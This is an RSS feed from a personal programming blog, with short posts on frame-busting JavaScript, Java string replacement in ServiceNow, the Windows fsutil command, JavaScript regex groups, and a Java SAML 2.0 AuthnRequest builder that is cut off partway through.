<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>John James Andersen &#187; Programming</title>
	<atom:link href="http://www.john-james-andersen.com/category/blog/programming/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-james-andersen.com</link>
	<description>The Personal &#38; Professional Website</description>
	<lastBuildDate>Tue, 07 Feb 2012 16:49:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Bust out of those Frames</title>
		<link>http://www.john-james-andersen.com/blog/programming/bust-out-of-those-frames.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/bust-out-of-those-frames.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 18:16:36 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Service-Now]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=1203</guid>
		<description><![CDATA[Because ServiceNow is a framed application, I often get asked by customers how to deal with any potential nested frame issues. There are many ways to handle this, but often times it boils down to just inserting frame-busting javascript code in the right place. An HTML document with the following javascript code snippet will detect [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.john-james-andersen.com/wp-content/uploads/sledge.png"><img src="http://www.john-james-andersen.com/wp-content/uploads/sledge.png" alt="" title="sledge" width="312" height="258" class="aligncenter size-full wp-image-1204" /></a></p>
<p>Because ServiceNow is a framed application, I often get asked by customers how to deal with any potential nested frame issues.</p>
<p>There are many ways to handle this, but often times it boils down to just inserting frame-busting javascript code in the right place.</p>
<p>An HTML document with the following javascript code snippet will detect if it is being displayed within a frame as it loads.  If it is, it will break out of the frame and show that page as the main document in the browser.</p>
<p>Here is the code:</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>top <span style="color: #339933;">!=</span> self<span style="color: #009900;">&#41;</span> top.<span style="color: #660066;">location</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span>location<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></td></tr></tbody></table></div>
<p>This code snippet is designed to go within the BODY of the HTML document.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/bust-out-of-those-frames.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript: When in doubt, don&#8217;t Replace</title>
		<link>http://www.john-james-andersen.com/blog/programming/javascript-when-in-doubt-dont-replace.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/javascript-when-in-doubt-dont-replace.html#comments</comments>
		<pubDate>Mon, 22 Aug 2011 17:03:45 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Service-Now]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=917</guid>
		<description><![CDATA[I ran into situation the other day where I had been doing a Javascript &#8220;Replace&#8221; function on a string of text. The Javascript replace looked intriguing because I could use a regular expression and have it replaced with a give string through an entire text. The product requirements insisted that this would only be a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.john-james-andersen.com/wp-content/uploads/javascriptre1.jpg"><img src="http://www.john-james-andersen.com/wp-content/uploads/javascriptre1.jpg" alt="Slow Javascript Replace" title="Slow Javascript Replace" width="360" height="310" class="aligncenter size-full wp-image-918" /></a></p>
<p>I ran into situation the other day where I had been doing a Javascript &#8220;Replace&#8221; function on a string of text.  The Javascript replace looked intriguing because I could use a regular expression and have it replaced with a give string through an entire text.  The product requirements insisted that this would only be a few KB of text at any given time.  So, we implemented the replace, ran some tests and went live.</p>
<p>It didn&#8217;t take long, however, before we started running into huge performance issues on the instance.  When we tracked it down, we found that the end user was sending in data in the size of MB and that while the Javascript replace function performed just fine for a few hundred KB, it&#8217;s response time grew exponentially with the bigger string sizes.  A 1.5MB string was taking over 10 minutes to perform the replace.</p>
<p>At this point, we decided to convert the string to a Java string object through ServiceNow&#8217;s package calls.</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> String<span style="color: #339933;">=</span> Packages.<span style="color: #660066;">java</span>.<span style="color: #660066;">lang</span>.<span style="color: #660066;">String</span><span style="color: #339933;">;</span><br />
mystring <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> String<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Goingotogotothegonewiththewindmovie&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
mystring <span style="color: #339933;">=</span> mystring.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;go&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;##&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
gs.<span style="color: #660066;">log</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;MYSTRING: &quot;</span> <span style="color: #339933;">+</span> mystring<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>Once I did this, the replace mechanism took only milliseconds on even the larger files. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/javascript-when-in-doubt-dont-replace.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Creating files of a specific size in Windows</title>
		<link>http://www.john-james-andersen.com/blog/programming/creating-files-of-a-specific-size-in-windows.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/creating-files-of-a-specific-size-in-windows.html#comments</comments>
		<pubDate>Thu, 18 Aug 2011 12:26:01 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=905</guid>
		<description><![CDATA[The other day I needed to do some testing with files of a very specific size. I was on a Windows PC that day, so I needed to find a tool that would work on a windows machine. I originally had thought to give it a spin in Python or Perl, but before I got [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.john-james-andersen.com/wp-content/uploads/bigfile.png"><img src="http://www.john-james-andersen.com/wp-content/uploads/bigfile.png" alt="Creating files of a specific size in windows" title="Creating files of a specific size in windows" width="232" height="275" class="aligncenter size-full wp-image-906" /></a></p>
<p>The other day I needed to do some testing with files of a very specific size.  I was on a Windows PC that day, so I needed to find a tool that would work on a windows machine.  I originally had thought to give it a spin in Python or Perl, but before I got my hands too wet I found a built in program in Windows XP and later versions that would quickly and easily do this for me.</p>
<p>Here is the command format:<br />
&#8220;fsutil file createnew &lt;fullpathtofile> &lt;sizeinbytes>&#8221;</p>
<p>So, if you wanted to create a 100 kb file named &#8220;myfile.txt&#8221; in &#8220;c:\mytestfiles&#8221;,  your command would look like this:<br />
&#8220;fsutil file createnew c:\mytestfiles\myfile.txt 100000&#8243;</p>
<p>This creates a file of exactly 100kb at the location you specify.  Really quite a handy tool to have around.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/creating-files-of-a-specific-size-in-windows.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pulling out groups from javascript Regular Expressions</title>
		<link>http://www.john-james-andersen.com/blog/programming/javascript-regex-groups.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/javascript-regex-groups.html#comments</comments>
		<pubDate>Tue, 08 Mar 2011 20:23:36 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=726</guid>
		<description><![CDATA[I use this a lot and I always have to look it up. I decided to blog it so that I don&#8217;t have to search every time I need to use Regular Expression Grouping to grab information from a string. Let&#8217;s say that I have a string that I need to pull some data out [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-james-andersen.com/wp-content/uploads/regular-expressions.gif" alt="" title="regular-expressions" width="480" height="250" class="aligncenter size-full wp-image-727" /><br />
I use this a lot and I always have to look it up.  I decided to blog it so that I don&#8217;t have to search every time I need to use Regular Expression Grouping to grab information from a string.</p>
<p>Let&#8217;s say that I have a string that I need to pull some data out of for another function.  Regular Expressions are a powerful and reliable way to do this.  When you combine Groups with Regular Expressions, they become even more handy.</p>
<p>Let&#8217;s say that I have a string that contains a domain name, a slash, and then a username.  I only want the username.</p>
<p>You can easily pull the username out of the string by using a script just like the following:</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> authString <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;RadRoadTrips/johnandersen&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #003366; font-weight: bold;">var</span> tokens <span style="color: #339933;">=</span> <span style="color: #339933;">/^</span>.<span style="color: #339933;">*</span>\<span style="color: #339933;">/</span><span style="color: #009900;">&#40;</span>.<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>$<span style="color: #339933;">/</span><span style="color: #009900;">&#40;</span>authString<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>tokens.<span style="color: #660066;">length</span> <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Username: &quot;</span> <span style="color: #339933;">+</span> tokens<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/javascript-regex-groups.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sample SAML 2.0 AuthnRequest in Java</title>
		<link>http://www.john-james-andersen.com/blog/programming/sample-saml-2-0-authnrequest-in-java.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/sample-saml-2-0-authnrequest-in-java.html#comments</comments>
		<pubDate>Mon, 12 Apr 2010 21:38:46 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=401</guid>
		<description><![CDATA[Playing around with SAML 2.0 some more. Here is some code that I created that allowed me to create a SAML 2.0 AuthnRequest object to be submitted to an Identity Provider. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122public String buildAuthnRequest&#40;&#41;&#123; &#160; &#160; try &#123; &#160; &#160; &#160; &#160; &#160; &#160; XMLObjectBuilderFactory builderFactory = org.opensaml.Configuration.getBuilderFactory&#40;&#41;; &#160; &#160; &#160; &#160; &#160; &#160; //Generate [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-james-andersen.com/wp-content/uploads/screenshot_01.png" alt="" title="screenshot_01" width="269" height="117" class="aligncenter size-full wp-image-402" /></p>
<p>Playing around with SAML 2.0 some more.  Here is some code that I created that allowed me to create a SAML 2.0 AuthnRequest object to be submitted to an Identity Provider.</p>
<div class="codecolorer-container java blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br />82<br />83<br />84<br />85<br />86<br />87<br />88<br />89<br />90<br />91<br />92<br />93<br />94<br />95<br />96<br />97<br />98<br />99<br />100<br />101<br />102<br />103<br />104<br />105<br />106<br />107<br />108<br />109<br />110<br />111<br />112<br />113<br />114<br />115<br />116<br />117<br />118<br />119<br />120<br />121<br />122<br /></div></td><td><div class="java codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">public</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> buildAuthnRequest<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; XMLObjectBuilderFactory builderFactory <span style="color: #339933;">=</span> org.<span style="color: #006633;">opensaml</span>.<span style="color: #006633;">Configuration</span>.<span style="color: #006633;">getBuilderFactory</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Generate ID</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> randId <span style="color: #339933;">=</span> generateRandomHexString<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">42</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asystem+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">System</span></a>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Random ID: &quot;</span> <span style="color: #339933;">+</span> randId<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//SAMLObjectBuilder authnRequestBuilder = (SAMLObjectBuilder) builderFactory.getBuilder(AuthnRequest.DEFAULT_ELEMENT_NAME);</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//AuthnRequest authnRequest = (AuthnRequest) authnRequestBuilder.buildObject();</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//DocumentBuilder builder = factory.newDocumentBuilder();</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Document authXmlDocument = builder.parse(new InputSource(new StringReader(this.authRequestString)));</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Create an issuer Object</span><br />
&nbsp; &nbsp; &nbsp; IssuerBuilder issuerBuilder <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> IssuerBuilder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; Issuer issuer <span style="color: #339933;">=</span> issuerBuilder.<span style="color: #006633;">buildObject</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span>, <span style="color: #0000ff;">&quot;Issuer&quot;</span>, <span style="color: #0000ff;">&quot;samlp&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; issuer.<span style="color: #006633;">setValue</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://saml20sp.abilityweb.us&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Create NameIDPolicy</span><br />
&nbsp; &nbsp; &nbsp; NameIDPolicyBuilder nameIdPolicyBuilder <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> NameIDPolicyBuilder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; NameIDPolicy nameIdPolicy <span style="color: #339933;">=</span> nameIdPolicyBuilder.<span style="color: #006633;">buildObject</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//nameIdPolicy.setSchemaLocation(&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;);</span><br />
&nbsp; &nbsp; &nbsp; nameIdPolicy.<span style="color: #006633;">setFormat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;urn:oasis:names:tc:SAML:2.0:nameid-format:persistent&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; nameIdPolicy.<span style="color: #006633;">setSPNameQualifier</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://saml20sp.abilityweb.us&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; nameIdPolicy.<span style="color: #006633;">setAllowCreate</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Create AuthnContextClassRef</span><br />
&nbsp; &nbsp; &nbsp; AuthnContextClassRefBuilder authnContextClassRefBuilder <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AuthnContextClassRefBuilder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; AuthnContextClassRef authnContextClassRef <span style="color: #339933;">=</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; authnContextClassRefBuilder.<span style="color: #006633;">buildObject</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span>, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;AuthnContextClassRef&quot;</span>, <span style="color: #0000ff;">&quot;saml&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; authnContextClassRef.<span style="color: #006633;">setAuthnContextClassRef</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Marshaller accrMarshaller = org.opensaml.Configuration.getMarshallerFactory().getMarshaller(authnContextClassRef);</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//org.w3c.dom.Element authnContextClassRefDom = accrMarshaller.marshall(authnContextClassRef);</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Create RequestedAuthnContext</span><br />
&nbsp; &nbsp; &nbsp; RequestedAuthnContextBuilder requestedAuthnContextBuilder <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> RequestedAuthnContextBuilder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; RequestedAuthnContext requestedAuthnContext <span style="color: #339933;">=</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; requestedAuthnContextBuilder.<span style="color: #006633;">buildObject</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; requestedAuthnContext.<span style="color: #006633;">setComparison</span><span style="color: #009900;">&#40;</span>AuthnContextComparisonTypeEnumeration.<span style="color: #006633;">EXACT</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; requestedAuthnContext.<span style="color: #006633;">getAuthnContextClassRefs</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">add</span><span style="color: #009900;">&#40;</span>authnContextClassRef<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//requestedAuthnContext.setDOM(authnContextClassRefDom);</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//authnContextClassRef.</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//.setParent((XMLObject) requestedAuthnContext);</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateTime issueInstant <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> DateTime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; AuthnRequestBuilder authRequestBuilder <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AuthnRequestBuilder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; AuthnRequest authRequest <span style="color: #339933;">=</span> authRequestBuilder.<span style="color: #006633;">buildObject</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span>, <span style="color: #0000ff;">&quot;AuthnRequest&quot;</span>, <span style="color: #0000ff;">&quot;samlp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//AuthnRequest request = (AuthnRequest) buildXMLObject(AuthnRequest.DEFAULT_ELEMENT_NAME);</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//authRequest.ASSERTION_CONSUMER_SERVICE_URL_ATTRIB_NAME = &quot;AssertionConsumerServiceURL&quot;;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//authRequest.FORCE_AUTHN_ATTRIB_NAME = &quot;ForceAuthn&quot;;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//authRequest.IS_PASSIVE_ATTRIB_NAME = &quot;IsPassive&quot;;</span><br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setForceAuthn</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setIsPassive</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setIssueInstant</span><span style="color: #009900;">&#40;</span>issueInstant<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setProtocolBinding</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setAssertionConsumerServiceURL</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://saml20sp.abilityweb.us/spdbg/sp.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setIssuer</span><span style="color: #009900;">&#40;</span>issuer<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setNameIDPolicy</span><span style="color: #009900;">&#40;</span>nameIdPolicy<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setRequestedAuthnContext</span><span style="color: #009900;">&#40;</span>requestedAuthnContext<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//TODO: How to connect the AuthnContextClassRef that I created for this object</span><br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setID</span><span style="color: #009900;">&#40;</span>randId<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; authRequest.<span style="color: #006633;">setVersion</span><span style="color: #009900;">&#40;</span>SAMLVersion.<span style="color: #006633;">VERSION_20</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> stringRep <span style="color: #339933;">=</span> authRequest.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asystem+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">System</span></a>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;New AuthnRequestImpl: &quot;</span> <span style="color: #339933;">+</span> stringRep<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asystem+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">System</span></a>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Assertion Consumer Service URL: &quot;</span> <span style="color: #339933;">+</span> authRequest.<span style="color: #006633;">getAssertionConsumerServiceURL</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <br />
